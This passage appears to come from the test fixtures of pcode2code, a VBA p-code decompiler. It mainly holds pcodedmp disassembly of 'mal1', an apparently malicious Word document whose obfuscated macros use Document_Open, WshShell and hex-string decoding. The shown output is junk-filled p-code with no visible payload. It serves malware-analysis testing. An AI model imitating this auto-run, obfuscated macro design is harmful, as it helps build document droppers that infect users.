Mid$(theString, i, 1) <> Chr$(0) Then Exit For 1568 | Next 1569 | nTrim2 = Left$(theString, iPos) 1570 | End Function 1571 | 1572 | -------------------------------------------------------------------------------- /tests/integration/macaroni/macaroni: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/pcode2code/65ae9832884bb0ebba16f96df257e387d427cd72/tests/integration/macaroni/macaroni -------------------------------------------------------------------------------- /tests/integration/mal1/mal1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Big5-sec/pcode2code/65ae9832884bb0ebba16f96df257e387d427cd72/tests/integration/mal1/mal1 -------------------------------------------------------------------------------- /tests/integration/mal1/pcodedmp: -------------------------------------------------------------------------------- 1 | Processing file: mal1 2 | =============================================================================== 3 | dir stream: Macros/VBA/dir 4 | ------------------------------------------------------------------------------- 5 | dir stream after decompression: 6 | 1756 bytes 7 | dir stream parsed: 8 | 00000000: PROJ_SYSKIND: 9 | 00000000 03 00 00 00 .... 10 | 11 | 0000000A: PROJ_LCID: 12 | 00000000 09 04 00 00 .... 13 | 14 | 00000014: PROJ_LCIDINVOKE: 15 | 00000000 09 04 00 00 .... 16 | 17 | 0000001E: PROJ_CODEPAGE: 18 | 00000000 E3 04 .. 19 | 20 | 00000026: PROJ_NAME: 21 | 00000000 50 72 6F 6A 65 63 74 Project 22 | 23 | 00000033: PROJ_DOCSTRING 24 | 00000039: PROJ_UNICODE_DOCSTRING 25 | 0000003F: PROJ_HELPFILE 26 | 00000045: PROJ_UNICODE_HELPFILE 27 | 0000004B: PROJ_HELPCONTEXT: 28 | 00000000 00 00 00 00 .... 29 | 30 | 00000055: PROJ_LIBFLAGS: 31 | 00000000 00 00 00 00 .... 32 | 33 | 0000005F: PROJ_VERSION: 34 | 00000000 E8 B6 3B 5F 0C 00 ..;_.. 35 | 36 | 0000006B: PROJ_CONSTANTS 37 | 00000071: PROJ_UNICODE_CONSTANTS 38 | 00000077: PROJ_REFNAME_PROJ: 39 | 00000000 73 74 64 6F 6C 65 stdole 40 | 41 | 00000083: PROJ_UNICODE_REFNAME_PROJ: 42 | 00000000 73 00 74 00 64 00 6F 00 6C 00 65 00 s.t.d.o.l.e. 43 | 44 | 00000095: PROJ_LIBID_REGISTERED: 45 | 00000000 5E 00 00 00 2A 5C 47 7B 30 30 30 32 30 34 33 30 ^...*\G{00020430 46 | 00000010 2D 30 30 30 30 2D 30 30 30 30 2D 43 30 30 30 2D -0000-0000-C000- 47 | 00000020 30 30 30 30 30 30 30 30 30 30 34 36 7D 23 32 2E 000000000046}#2. 48 | 00000030 30 23 30 23 43 3A 5C 57 69 6E 64 6F 77 73 5C 53 0#0#C:\Windows\S 49 | 00000040 79 73 74 65 6D 33 32 5C 73 74 64 6F 6C 65 32 2E ystem32\stdole2. 50 | 00000050 74 6C 62 23 4F 4C 45 20 41 75 74 6F 6D 61 74 69 tlb#OLE Automati 51 | 00000060 6F 6E 00 00 00 00 00 00 on...... 52 | 53 | 00000103: PROJ_REFNAME_PROJ: 54 | 00000000 4E 6F 72 6D 61 6C Normal 55 | 56 | 0000010F: PROJ_UNICODE_REFNAME_PROJ: 57 | 00000000 4E 00 6F 00 72 00 6D 00 61 00 6C 00 N.o.r.m.a.l. 58 | 59 | 00000121: PROJ_LIBID_PROJ: 60 | 00000000 09 00 00 00 2A 5C 43 4E 6F 72 6D 61 6C 09 00 00 ....*\CNormal... 61 | 00000010 00 2A 5C 43 4E 6F 72 6D 61 6C 88 8E E3 5E 01 00 .*\CNormal...^.. 62 | 63 | 00000147: PROJ_REFNAME_PROJ: 64 | 00000000 4F 66 66 69 63 65 Office 65 | 66 | 00000153: PROJ_UNICODE_REFNAME_PROJ: 67 | 00000000 4F 00 66 00 66 00 69 00 63 00 65 00 O.f.f.i.c.e. 68 | 69 | 00000165: PROJ_LIBID_REGISTERED: 70 | 00000000 94 00 00 00 2A 5C 47 7B 32 44 46 38 44 30 34 43 ....*\G{2DF8D04C 71 | 00000010 2D 35 42 46 41 2D 31 30 31 42 2D 42 44 45 35 2D -5BFA-101B-BDE5- 72 | 00000020 30 30 41 41 30 30 34 34 44 45 35 32 7D 23 32 2E 00AA0044DE52}#2. 73 | 00000030 30 23 30 23 43 3A 5C 50 72 6F 67 72 61 6D 20 46 0#0#C:\Program F 74 | 00000040 69 6C 65 73 5C 43 6F 6D 6D 6F 6E 20 46 69 6C 65 iles\Common File 75 | 00000050 73 5C 4D 69 63 72 6F 73 6F 66 74 20 53 68 61 72 s\Microsoft Shar 76 | 00000060 65 64 5C 4F 46 46 49 43 45 31 36 5C 4D 53 4F 2E ed\OFFICE16\MSO. 77 | 00000070 44 4C 4C 23 4D 69 63 72 6F 73 6F 66 74 20 4F 66 DLL#Microsoft Of 78 | 00000080 66 69 63 65 20 31 36 2E 30 20 4F 62 6A 65 63 74 fice 16.0 Object 79 | 00000090 20 4C 69 62 72 61 72 79 00 00 00 00 00 00 Library...... 80 | 81 | 00000209: PROJ_REFNAME_PROJ: 82 | 00000000 4D 53 46 6F 72 6D 73 MSForms 83 | 84 | 00000216: PROJ_UNICODE_REFNAME_PROJ: 85 | 00000000 4D 00 53 00 46 00 6F 00 72 00 6D 00 73 00 M.S.F.o.r.m.s. 86 | 87 | 0000022A: UNKNOWN: 88 | 00000000 2A 5C 47 7B 30 44 34 35 32 45 45 31 2D 45 30 38 *\G{0D452EE1-E08 89 | 00000010 46 2D 31 30 31 41 2D 38 35 32 45 2D 30 32 36 30 F-101A-852E-0260 90 | 00000020 38 43 34 44 30 42 42 34 7D 23 32 2E 30 23 30 23 8C4D0BB4}#2.0#0# 91 | 00000030 43 3A 5C 57 69 6E 64 6F 77 73 5C 73 79 73 74 65 C:\Windows\syste 92 | 00000040 6D 33 32 5C 46 4D 32 30 2E 44 4C 4C 23 4D 69 63 m32\FM20.DLL#Mic 93 | 00000050 72 6F 73 6F 66 74 20 46 6F 72 6D 73 20 32 2E 30 rosoft Forms 2.0 94 | 00000060 20 4F 62 6A 65 63 74 20 4C 69 62 72 61 72 79 Object Library 95 | 96 | 0000029F: PROJ_LIBID_TWIDDLED: 97 | 00000000 31 00 00 00 2A 5C 47 7B 30 30 30 30 30 30 30 30 1...*\G{00000000 98 | 00000010 2D 30 30 30 30 2D 30 30 30 30 2D 30 30 30 30 2D -0000-0000-0000- 99 | 00000020 30 30 30 30 30 30 30 30 30 30 30 30 7D 23 30 2E 000000000000}#0. 100 | 00000030 30 23 30 23 23 00 00 00 00 00 00 0#0##...... 101 | 102 | 000002E0: PROJ_REFNAME_PROJ: 103 | 00000000 4D 53 46 6F 72 6D 73 MSForms 104 | 105 | 000002ED: PROJ_UNICODE_REFNAME_PROJ: 106 | 00000000 4D 00 53 00 46 00 6F 00 72 00 6D 00 73 00 M.S.F.o.r.m.s. 107 | 108 | 00000301: PROJ_LIBID_EXTENDED: 109 | 00000000 87 00 00 00 2A 5C 47 7B 35 43 44 30 39 30 32 33 ....*\G{5CD09023 110 | 00000010 2D 34 44 45 33 2D 34 38 42 46 2D 42 32 46 37 2D -4DE3-48BF-B2F7- 111 | 00000020 39 37 35 36 44 36 39 43 44 32 44 32 7D 23 32 2E 9756D69CD2D2}#2. 112 | 00000030 30 23 30 23 43 3A 5C 55 73 65 72 73 5C 41 53 55 0#0#C:\Users\ASU 113 | 00000040 53 52 4F 7E 31 5C 41 70 70 44 61 74 61 5C 4C 6F SRO~1\AppData\Lo 114 | 00000050 63 61 6C 5C 54 65 6D 70 5C 56 42 45 5C 4D 53 46 cal\Temp\VBE\MSF 115 | 00000060 6F 72 6D 73 2E 65 78 64 23 4D 69 63 72 6F 73 6F orms.exd#Microso 116 | 00000070 66 74 20 46 6F 72 6D 73 20 32 2E 30 20 4F 62 6A ft Forms 2.0 Obj 117 | 00000080 65 63 74 20 4C 69 62 72 61 72 79 00 00 00 00 00 ect Library..... 118 | 00000090 00 E1 2E 45 0D 8F E0 1A 10 85 2E 02 60 8C 4D 0B ...E........`.M. 119 | 000000A0 B4 01 00 00 00 ..... 120 | 121 | 000003AC: PROJ_REFNAME_PROJ: 122 | 00000000 49 57 73 68 52 75 6E 74 69 6D 65 4C 69 62 72 61 IWshRuntimeLibra 123 | 00000010 72 79 ry 124 | 125 | 000003C4: PROJ_UNICODE_REFNAME_PROJ: 126 | 00000000 49 00 57 00 73 00 68 00 52 00 75 00 6E 00 74 00 I.W.s.h.R.u.n.t. 127 | 00000010 69 00 6D 00 65 00 4C 00 69 00 62 00 72 00 61 00 i.m.e.L.i.b.r.a. 128 | 00000020 72 00 79 00 r.y. 129 | 130 | 000003EE: PROJ_LIBID_REGISTERED: 131 | 00000000 6E 00 00 00 2A 5C 47 7B 46 39 33 35 44 43 32 30 n...*\G{F935DC20 132 | 00000010 2D 31 43 46 30 2D 31 31 44 30 2D 41 44 42 39 2D -1CF0-11D0-ADB9- 133 | 00000020 30 30 43 30 34 46 44 35 38 41 30 42 7D 23 31 2E 00C04FD58A0B}#1. 134 | 00000030 30 23 30 23 43 3A 5C 57 69 6E 64 6F 77 73 5C 73 0#0#C:\Windows\s 135 | 00000040 79 73 74 65 6D 33 32 5C 77 73 68 6F 6D 2E 6F 63 ystem32\wshom.oc 136 | 00000050 78 23 57 69 6E 64 6F 77 73 20 53 63 72 69 70 74 x#Windows Script 137 | 00000060 20 48 6F 73 74 20 4F 62 6A 65 63 74 20 4D 6F 64 Host Object Mod 138 | 00000070 65 6C 00 00 00 00 00 00 el...... 139 | 140 | 0000046C: PROJ_MODULECOUNT: 141 | 00000000 05 00 .. 142 | 143 | 00000474: PROJ_COOKIE: 144 | 00000000 7A 5E z^ 145 | 146 | 0000047C: MOD_NAME: 147 | 00000000 54 68 69 73 44 6F 63 75 6D 65 6E 74 ThisDocument 148 | 149 | 0000048E: MOD_UNICODE_NAME: 150 | 00000000 54 00 68 00 69 00 73 00 44 00 6F 00 63 00 75 00 T.h.i.s.D.o.c.u. 151 | 00000010 6D 00 65 00 6E 00 74 00 m.e.n.t. 152 | 153 | 000004AC: MOD_STREAM: 154 | 00000000 54 68 69 73 44 6F 63 75 6D 65 6E 74 ThisDocument 155 | 156 | 000004BE: MOD_UNICODESTREAM: 157 | 00000000 54 00 68 00 69 00 73 00 44 00 6F 00 63 00 75 00 T.h.i.s.D.o.c.u. 158 | 00000010 6D 00 65 00 6E 00 74 00 m.e.n.t. 159 | 160 | 000004DC: MOD_DOCSTRING 161 | 000004E2: MOD_UNICODE_DOCSTRING 162 | 000004E8: MOD_TEXTOFFSET: 163 | 00000000 E6 07 00 00 .... 164 | 165 | 000004F2: MOD_HELPCONTEXT: 166 | 00000000 00 00 00 00 .... 167 | 168 | 000004FC: MOD_COOKIETYPE: 169 | 00000000 35 D2 5. 170 | 171 | 00000504: MOD_FBASMOD_Classes 172 | 0000050A: MOD_END 173 | 00000510: MOD_NAME: 174 | 00000000 61 57 49 39 79 aWI9y 175 | 176 | 0000051B: MOD_UNICODE_NAME: 177 | 00000000 61 00 57 00 49 00 39 00 79 00 a.W.I.9.y. 178 | 179 | 0000052B: MOD_STREAM: 180 | 00000000 61 57 49 39 79 aWI9y 181 | 182 | 00000536: MOD_UNICODESTREAM: 183 | 00000000 61 00 57 00 49 00 39 00 79 00 a.W.I.9.y. 184 | 185 | 00000546: MOD_DOCSTRING 186 | 0000054C: MOD_UNICODE_DOCSTRING 187 | 00000552: MOD_TEXTOFFSET: 188 | 00000000 2F 09 00 00 /... 189 | 190 | 0000055C: MOD_HELPCONTEXT: 191 | 00000000 00 00 00 00 .... 192 | 193 | 00000566: MOD_COOKIETYPE: 194 | 00000000 C5 DF .. 195 | 196 | 0000056E: MOD_FBASMOD_StdMods 197 | 00000574: MOD_END 198 | 0000057A: MOD_NAME: 199 | 00000000 61 79 37 4D 30 6E 49 ay7M0nI 200 | 201 | 00000587: MOD_UNICODE_NAME: 202 | 00000000 61 00 79 00 37 00 4D 00 30 00 6E 00 49 00 a.y.7.M.0.n.I. 203 | 204 | 0000059B: MOD_STREAM: 205 | 00000000 61 79 37 4D 30 6E 49 ay7M0nI 206 | 207 | 000005A8: MOD_UNICODESTREAM: 208 | 00000000 61 00 79 00 37 00 4D 00 30 00 6E 00 49 00 a.y.7.M.0.n.I. 209 | 210 | 000005BC: MOD_DOCSTRING 211 | 000005C2: MOD_UNICODE_DOCSTRING 212 | 000005C8: MOD_TEXTOFFSET: 213 | 00000000 DB 15 00 00 .... 214 | 215 | 000005D2: MOD_HELPCONTEXT: 216 | 00000000 00 00 00 00 .... 217 | 218 | 000005DC: MOD_COOKIETYPE: 219 | 00000000 9B CA .. 220 | 221 | 000005E4: MOD_FBASMOD_StdMods 222 | 000005EA: MOD_END 223 | 000005F0: MOD_NAME: 224 | 00000000 61 53 54 69 35 4E 68 aSTi5Nh 225 | 226 | 000005FD: MOD_UNICODE_NAME: 227 | 00000000 61 00 53 00 54 00 69 00 35 00 4E 00 68 00 a.S.T.i.5.N.h. 228 | 229 | 00000611: MOD_STREAM: 230 | 00000000 61 53 54 69 35 4E 68 aSTi5Nh 231 | 232 | 0000061E: MOD_UNICODESTREAM: 233 | 00000000 61 00 53 00 54 00 69 00 35 00 4E 00 68 00 a.S.T.i.5.N.h. 234 | 235 | 00000632: MOD_DOCSTRING 236 | 00000638: MOD_UNICODE_DOCSTRING 237 | 0000063E: MOD_TEXTOFFSET: 238 | 00000000 91 27 00 00 .'.. 239 | 240 | 00000648: MOD_HELPCONTEXT: 241 | 00000000 00 00 00 00 .... 242 | 243 | 00000652: MOD_COOKIETYPE: 244 | 00000000 B1 EA .. 245 | 246 | 0000065A: MOD_FBASMOD_StdMods 247 | 00000660: MOD_END 248 | 00000666: MOD_NAME: 249 | 00000000 61 6E 55 58 34 anUX4 250 | 251 | 00000671: MOD_UNICODE_NAME: 252 | 00000000 61 00 6E 00 55 00 58 00 34 00 a.n.U.X.4. 253 | 254 | 00000681: MOD_STREAM: 255 | 00000000 61 6E 55 58 34 anUX4 256 | 257 | 0000068C: MOD_UNICODESTREAM: 258 | 00000000 61 00 6E 00 55 00 58 00 34 00 a.n.U.X.4. 259 | 260 | 0000069C: MOD_DOCSTRING 261 | 000006A2: MOD_UNICODE_DOCSTRING 262 | 000006A8: MOD_TEXTOFFSET: 263 | 00000000 2F 08 00 00 /... 264 | 265 | 000006B2: MOD_HELPCONTEXT: 266 | 00000000 00 00 00 00 .... 267 | 268 | 000006BC: MOD_COOKIETYPE: 269 | 00000000 51 BA Q. 270 | 271 | 000006C4: MOD_FBASMOD_Classes 272 | 000006CA: MOD_FBASMOD_Private 273 | 000006D0: MOD_END 274 | 000006D6: PROJ_EOF 275 | ------------------------------------------------------------------------------- 276 | _VBA_PROJECT stream: 277 | 6459 bytes 278 | Identifiers: 279 | 280 | 0000: Word 281 | 0001: VBA 282 | 0002: Win16 283 | 0003: Win32 284 | 0004: Win64 285 | 0005: Mac 286 | 0006: VBA6 287 | 0007: VBA7 288 | 0008: Project1 289 | 0009: stdole 290 | 000A: Project 291 | 000B: ThisDocument 292 | 000C: _Evaluate 293 | 000D: Normal 294 | 000E: Office 295 | 000F: Document 296 | 0010: Module1 297 | 0011: aWI9y 298 | 0012: aG2RE 299 | 0013: aH3r4a5 300 | 0014: a7fBn 301 | 0015: Hex 302 | 0016: auyeoOEL 303 | 0017: azidx0NqC 304 | 0018: aWg3M5v 305 | 0019: aeoOT0Gh 306 | 001A: aga8Eq 307 | 001B: amgJzF 308 | 001C: ab3kaeN7I 309 | 001D: IsNull 310 | 001E: aq6RX4MU5 311 | 001F: a4XbQ 312 | 0020: alWXi 313 | 0021: aomJe 314 | 0022: a56hylAp 315 | 0023: a5fQJ 316 | 0024: aAUEH 317 | 0025: ay7M0nI 318 | 0026: aSbLM 319 | 0027: aSWdjB 320 | 0028: a6EcBbI 321 | 0029: a9Ahm 322 | 002A: aghV48L5d 323 | 002B: aoT0lbgU 324 | 002C: atEXd 325 | 002D: Exp 326 | 002E: ao9alGKgP 327 | 002F: aGFh46Qra 328 | 0030: awHIaNTRd 329 | 0031: aZQG4 330 | 0032: akhf1 331 | 0033: a5bTI4a 332 | 0034: a0PURS4wD 333 | 0035: aEtViTKaz 334 | 0036: aqPVoX 335 | 0037: aLcXnIFs 336 | 0038: aiJeY6w 337 | 0039: aqaMj 338 | 003A: akGjxP 339 | 003B: aQYR48E 340 | 003C: aq6hRMO 341 | 003D: aE7YPRHoU 342 | 003E: aJzQTjr 343 | 003F: a1TIEMYR 344 | 0040: aBmLaYhPH 345 | 0041: aGtzeA4YP 346 | 0042: aCAn4M 347 | 0043: aIwRnD 348 | 0044: aymPMBI 349 | 0045: ayTmvzo 350 | 0046: aZX5c 351 | 0047: aAB9zw 352 | 0048: aKIfHa 353 | 0049: ae8Er 354 | 004A: aHWAg 355 | 004B: axmdRkLDh 356 | 004C: aTcA84p6 357 | 004D: azwPN 358 | 004E: a783MhiRz 359 | 004F: aNYIum 360 | 0050: aK5rL 361 | 0051: an6T3 362 | 0052: auSLK8Q 363 | 0053: a4B5zO27N 364 | 0054: a2iHw4 365 | 0055: a57uHYtv 366 | 0056: aFWqPNo 367 | 0057: a0n1U 368 | 0058: aX6myF 369 | 0059: asxyt 370 | 005A: aYRDrjao 371 | 005B: aZ8ljGHVk 372 | 005C: aDyvj 373 | 005D: HexToStr 374 | 005E: strTemp 375 | 005F: strReturn 376 | 0060: I 377 | 0061: Chr 378 | 0062: Val 379 | 0063: aSTi5Nh 380 | 0064: main 381 | 0065: a7RXk 382 | 0066: aM3VlaA 383 | 0067: aRjGI 384 | 0068: abAZB8Da 385 | 0069: aUKcAo5 386 | 006A: aCO1cl3 387 | 006B: aXA8Fn 388 | 006C: a49yF 389 | 006D: aVHDZ3ly 390 | 006E: aCHaqGEA 391 | 006F: a2cjT4V 392 | 0070: aXHupn 393 | 0071: a5AofpPq 394 | 0072: aZV4xNntf 395 | 0073: ajdxtRHg 396 | 0074: ajUza 397 | 0075: a2Wub 398 | 0076: aBvx7Yl 399 | 0077: ajCvZ1P 400 | 0078: auSgxa 401 | 0079: aa8gG 402 | 007A: anUX4 403 | 007B: ajNXBYQbC 404 | 007C: asHIiBe 405 | 007D: aYP80 406 | 007E: aak49q 407 | 007F: aPDpuaNnT 408 | 0080: aFyRb2jrI 409 | 0081: aZHhk 410 | 0082: a7HNko 411 | 0083: aklcJ 412 | 0084: a0hgosvX 413 | 0085: aI37lHtEo 414 | 0086: ayUBnLK01 415 | 0087: aqKG59 416 | 0088: aiychMbk 417 | 0089: ac5KDsuI 418 | 008A: a5umIJ 419 | 008B: aXSy5JdT 420 | 008C: aaCOAv5w 421 | 008D: awM7aZTfU 422 | 008E: a5GkV0 423 | 008F: aVnoy 424 | 0090: aIeD7JZ 425 | 0091: ar2uYgQ 426 | 0092: a5MCIArv 427 | 0093: auDIb6AR 428 | 0094: aYeEo6OH 429 | 0095: avAdxhyMl 430 | 0096: aG3lmX7 431 | 0097: aq0WXap2 432 | 0098: aZHcO 433 | 0099: axfMQ 434 | 009A: ajB1f 435 | 009B: aNtFJ 436 | 009C: aYPWZ 437 | 009D: a3HIXv 438 | 009E: a3Pdj 439 | 009F: aQ1HY 440 | 00A0: a2BQk 441 | 00A1: atJOgs8 442 | 00A2: anQP0Yq 443 | 00A3: aFU5J8ke 444 | 00A4: a1Bdl 445 | 00A5: aNBxYklfF 446 | 00A6: aDVKdBm 447 | 00A7: aKeqcY4l 448 | 00A8: arkaw 449 | 00A9: aDrW6N 450 | 00AA: a43g0xT 451 | 00AB: WshShell 452 | 00AC: axy2Gkg1 453 | 00AD: aQV2hOrpg 454 | 00AE: aJXtM9L 455 | 00AF: aYbF96K 456 | 00B0: alyNuKsz 457 | 00B1: ah9qAeUc5 458 | 00B2: ayiZWSq 459 | 00B3: aMhgD 460 | 00B4: aA3GNx 461 | 00B5: aHF3TqA 462 | 00B6: aC2nPv 463 | 00B7: apBMRSOcI 464 | 00B8: aNAZHn 465 | 00B9: aq2In 466 | 00BA: aZx38 467 | 00BB: run 468 | 00BC: aJqH7k 469 | 00BD: aXERc 470 | 00BE: aIOzbwd1a 471 | 00BF: aBJVZ1 472 | 00C0: aKfmvc34 473 | 00C1: aIaRFTmJw 474 | 00C2: ajvsXAlok 475 | 00C3: ajEOWNtYh 476 | 00C4: aq0PJEzo4 477 | 00C5: a6qAc 478 | 00C6: Document_Open 479 | 00C7: aQX9W 480 | 00C8: adFoxSipN 481 | 00C9: aBsQc4zXq 482 | 00CA: arSHcDzvF 483 | 00CB: aCXBqNTI 484 | 00CC: a2E5tFU1 485 | 00CD: aStJ38zD 486 | 00CE: aMTBeQ5s 487 | 00CF: atKzH 488 | 00D0: UserForm1 489 | 00D1: MSForms 490 | 00D2: IWshRuntimeLibrary 491 | 00D3: UserForm 492 | 00D4: UserForm_Initialize 493 | 00D5: aobPr3gd 494 | 00D6: aQhnMuRf0 495 | 00D7: a83FtC 496 | 00D8: asWApjoTr 497 | 00D9: aMVH7 498 | 00DA: ahXCm9 499 | 00DB: asVWN 500 | 00DC: test 501 | 00DD: aytsj 502 | 00DE: alxGqywJ8 503 | 504 | _VBA_PROJECT parsing done. 505 | ------------------------------------------------------------------------------- 506 | Module streams: 507 | Macros/VBA/ThisDocument - 2639 bytes 508 | Line #0: 509 | FuncDefn (Sub a6qAc()) 510 | Line #1: 511 | Dim 512 | VarDefn Document_Open 513 | Line #2: 514 | LitDI2 0x0006 515 | ArgsLd Exp 0x0001 516 | St Document_Open 517 | Line #3: 518 | QuoteRem 0x0000 0x0025 " Presentations fetid forswear sawmill" 519 | Line #4: 520 | LitStr 0x0000 "" 521 | St aQX9W 522 | Line #5: 523 | Ld aQX9W 524 | ArgsLd IsNull 0x0001 525 | St adFoxSipN 526 | Line #6: 527 | QuoteRem 0x0000 0x0027 " Dozen equally didactic unattended sans" 528 | Line #7: 529 | QuoteRem 0x0000 0x0000 "" 530 | Line #8: 531 | Dim 532 | VarDefn aBsQc4zXq 533 | Line #9: 534 | LitDI2 0x0058 535 | ArgsLd Hex 0x0001 536 | St aBsQc4zXq 537 | Line #10: 538 | Dim 539 | VarDefn arSHcDzvF 540 | Line #11: 541 | StartForVariable 542 | Ld arSHcDzvF 543 | EndForVariable 544 | LitDI2 0x003D 545 | LitDI2 0x0040 546 | For 547 | Line #12: 548 | Debug 549 | PrintObj 550 | Ld arSHcDzvF 551 | ArgsLd Error 0x0001 552 | PrintItemNL 553 | Line #13: 554 | StartForVariable 555 | Ld arSHcDzvF 556 | EndForVariable 557 | NextVar 558 | Line #14: 559 | QuoteRem 0x0000 0x0014 " Cap schism crockery" 560 | Line #15: 561 | Dim 562 | VarDefn aCXBqNTI 563 | Line #16: 564 | LitDI2 0x0002 565 | FnFix 566 | St aCXBqNTI 567 | Line #17: 568 | Dim 569 | VarDefn a2E5tFU1 570 | Line #18: 571 | StartForVariable 572 | Ld a2E5tFU1 573 | EndForVariable 574 | LitDI2 0x003D 575 | LitDI2 0x0040 576 | For 577 | Line #19: 578 | Debug 579 | PrintObj 580 | Ld a2E5tFU1 581 | ArgsLd Error 0x0001 582 | PrintItemNL 583 | Line #20: 584 | StartForVariable 585 | Ld a2E5tFU1 586 | EndForVariable 587 | NextVar 588 | Line #21: 589 | QuoteRem 0x0000 0x0036 " Windlass hurries well-founded fairy-tale dessert ween" 590 | Line #22: 591 | LitStr 0x0000 "" 592 | St aStJ38zD 593 | Line #23: 594 | Ld aStJ38zD 595 | ArgsLd IsNull 0x0001 596 | St aMTBeQ5s 597 | Line #24: 598 | QuoteRem 0x0000 0x0023 " Retired reynard shareholders tenet" 599 | Line #25: 600 | ArgsCall main 0x0000 601 | Line #26: 602 | EndSub 603 | Macros/VBA/aWI9y - 3016 bytes 604 | Line #0: 605 | FuncDefn (Function aG2RE(aH3r4a5 As Long) As String) 606 | Line #1: 607 | Dim 608 | VarDefn a7fBn 609 | Line #2: 610 | LitDI2 0x00EF 611 | ArgsLd Hex 0x0001 612 | St a7fBn 613 | Line #3: 614 | QuoteRem 0x0000 0x0009 " Beverage" 615 | Line #4: 616 | Dim 617 | VarDefn auyeoOEL 618 | Line #5: 619 | LitDI2 0x000B 620 | FnFix 621 | St auyeoOEL 622 | Line #6: 623 | Dim 624 | VarDefn azidx0NqC 625 | Line #7: 626 | LitDI2 0x009B 627 | ArgsLd Hex 0x0001 628 | St azidx0NqC 629 | Line #8: 630 | Dim 631 | VarDefn aWg3M5v 632 | Line #9: 633 | StartForVariable 634 | Ld aWg3M5v 635 | EndForVariable 636 | LitDI2 0x003D 637 | LitDI2 0x0040 638 | For 639 | Line #10: 640 | Debug 641 | PrintObj 642 | Ld aWg3M5v 643 | ArgsLd Error 0x0001 644 | PrintItemNL 645 | Line #11: 646 | StartForVariable 647 | Ld aWg3M5v 648 | EndForVariable 649 | NextVar 650 | Line #12: 651 | QuoteRem 0x0000 0x0014 " Ursula eighty-three" 652 | Line #13: 653 | Dim 654 | VarDefn aeoOT0Gh 655 | Line #14: 656 | LitDI2 0x00F8 657 | ArgsLd Hex 0x0001 658 | St aeoOT0Gh 659 | Line #15: 660 | QuoteRem 0x0000 0x0012 " Chubby narcissist" 661 | Line #16: 662 | Dim 663 | VarDefn aga8Eq 664 | Line #17: 665 | LitDI2 0x0006 666 | UMi 667 | FnAbs 668 | St aga8Eq 669 | Line #18: 670 | QuoteRem 0x0000 0x001E " Salve graduate dutch humanity" 671 | Line #19: 672 | LitStr 0x0000 "" 673 | St amgJzF 674 | Line #20: 675 | Ld amgJzF 676 | ArgsLd IsNull 0x0001 677 | St ab3kaeN7I 678 | Line #21: 679 | Dim 680 | VarDefn aq6RX4MU5 681 | Line #22: 682 | StartForVariable 683 | Ld aq6RX4MU5 684 | EndForVariable 685 | LitDI2 0x003D 686 | LitDI2 0x0040 687 | For 688 | Line #23: 689 | Debug 690 | PrintObj 691 | Ld aq6RX4MU5 692 | ArgsLd Error 0x0001 693 | PrintItemNL 694 | Line #24: 695 | StartForVariable 696 | Ld aq6RX4MU5 697 | EndForVariable 698 | NextVar 699 | Line #25: 700 | LitStr 0x0000 "" 701 | St a4XbQ 702 | Line #26: 703 | Ld a4XbQ 704 | ArgsLd IsNull 0x0001 705 | St alWXi 706 | Line #27: 707 | QuoteRem 0x0000 0x000E " Taxi game nut" 708 | Line #28: 709 | Dim 710 | VarDefn aomJe 711 | Line #29: 712 | LitDI2 0x000B 713 | FnFix 714 | St aomJe 715 | Line #30: 716 | QuoteRem 0x0000 0x001E " Bookstore accommodate jh kirk" 717 | Line #31: 718 | Dim 719 | VarDefn a56hylAp 720 | Line #32: 721 | StartForVariable 722 | Ld a56hylAp 723 | EndForVariable 724 | LitDI2 0x003D 725 | LitDI2 0x0040 726 | For 727 | Line #33: 728 | Debug 729 | PrintObj 730 | Ld a56hylAp 731 | ArgsLd Error 0x0001 732 | PrintItemNL 733 | Line #34: 734 | StartForVariable 735 | Ld a56hylAp 736 | EndForVariable 737 | NextVar 738 | Line #35: 739 | QuoteRem 0x0000 0x0038 " Diamonds subjunctive statements plentifully plumber sam" 740 | Line #36: 741 | Dim 742 | VarDefn a5fQJ 743 | Line #37: 744 | LitDI2 0x000F 745 | FnFix 746 | St a5fQJ 747 | Line #38: 748 | QuoteRem 0x0000 0x0017 " Nimble hi ada spectrum" 749 | Line #39: 750 | Dim 751 | VarDefn aAUEH 752 | Line #40: 753 | StartForVariable 754 | Ld aAUEH 755 | EndForVariable 756 | LitDI2 0x003D 757 | LitDI2 0x0040 758 | For 759 | Line #41: 760 | Debug 761 | PrintObj 762 | Ld aAUEH 763 | ArgsLd Error 0x0001 764 | PrintItemNL 765 | Line #42: 766 | StartForVariable 767 | Ld aAUEH 768 | EndForVariable 769 | NextVar 770 | Line #43: 771 | QuoteRem 0x0000 0x0010 " Mi disappointed" 772 | Line #44: 773 | EndFunc 774 | Macros/VBA/ay7M0nI - 7362 bytes 775 | Line #0: 776 | FuncDefn (Function aSbLM(aSWdjB As String) As String) 777 | Line #1: 778 | Dim 779 | VarDefn a6EcBbI 780 | Line #2: 781 | LitDI2 0x00D3 782 | ArgsLd Hex 0x0001 783 | St a6EcBbI 784 | Line #3: 785 | QuoteRem 0x0000 0x0015 " Excited cafe geology" 786 | Line #4: 787 | Dim 788 | VarDefn a9Ahm 789 | Line #5: 790 | StartForVariable 791 | Ld a9Ahm 792 | EndForVariable 793 | LitDI2 0x003D 794 | LitDI2 0x0040 795 | For 796 | Line #6: 797 | Debug 798 | PrintObj 799 | Ld a9Ahm 800 | ArgsLd Error 0x0001 801 | PrintItemNL 802 | Line #7: 803 | StartForVariable 804 | Ld a9Ahm 805 | EndForVariable 806 | NextVar 807 | Line #8: 808 | LitStr 0x0000 "" 809 | St aghV48L5d 810 | Line #9: 811 | Ld aghV48L5d 812 | ArgsLd IsNull 0x0001 813 | St aoT0lbgU 814 | Line #10: 815 | QuoteRem 0x0000 0x0022 " Hebrew warnings dissuade viennese" 816 | Line #11: 817 | Dim 818 | VarDefn atEXd 819 | Line #12: 820 | LitDI2 0x000A 821 | ArgsLd Exp 0x0001 822 | St atEXd 823 | Line #13: 824 | Dim 825 | VarDefn ao9alGKgP 826 | Line #14: 827 | LitDI2 0x000C 828 | UMi 829 | FnAbs 830 | St ao9alGKgP 831 | Line #15: 832 | LitStr 0x0000 "" 833 | St aGFh46Qra 834 | Line #16: 835 | Ld aGFh46Qra 836 | ArgsLd IsNull 0x0001 837 | St awHIaNTRd 838 | Line #17: 839 | QuoteRem 0x0000 0x0021 " Versatile labels cruising dozens" 840 | Line #18: 841 | Dim 842 | VarDefn aZQG4 843 | Line #19: 844 | LitDI2 0x0005 845 | ArgsLd Hex 0x0001 846 | St aZQG4 847 | Line #20: 848 | QuoteRem 0x0000 0x0025 " Holes 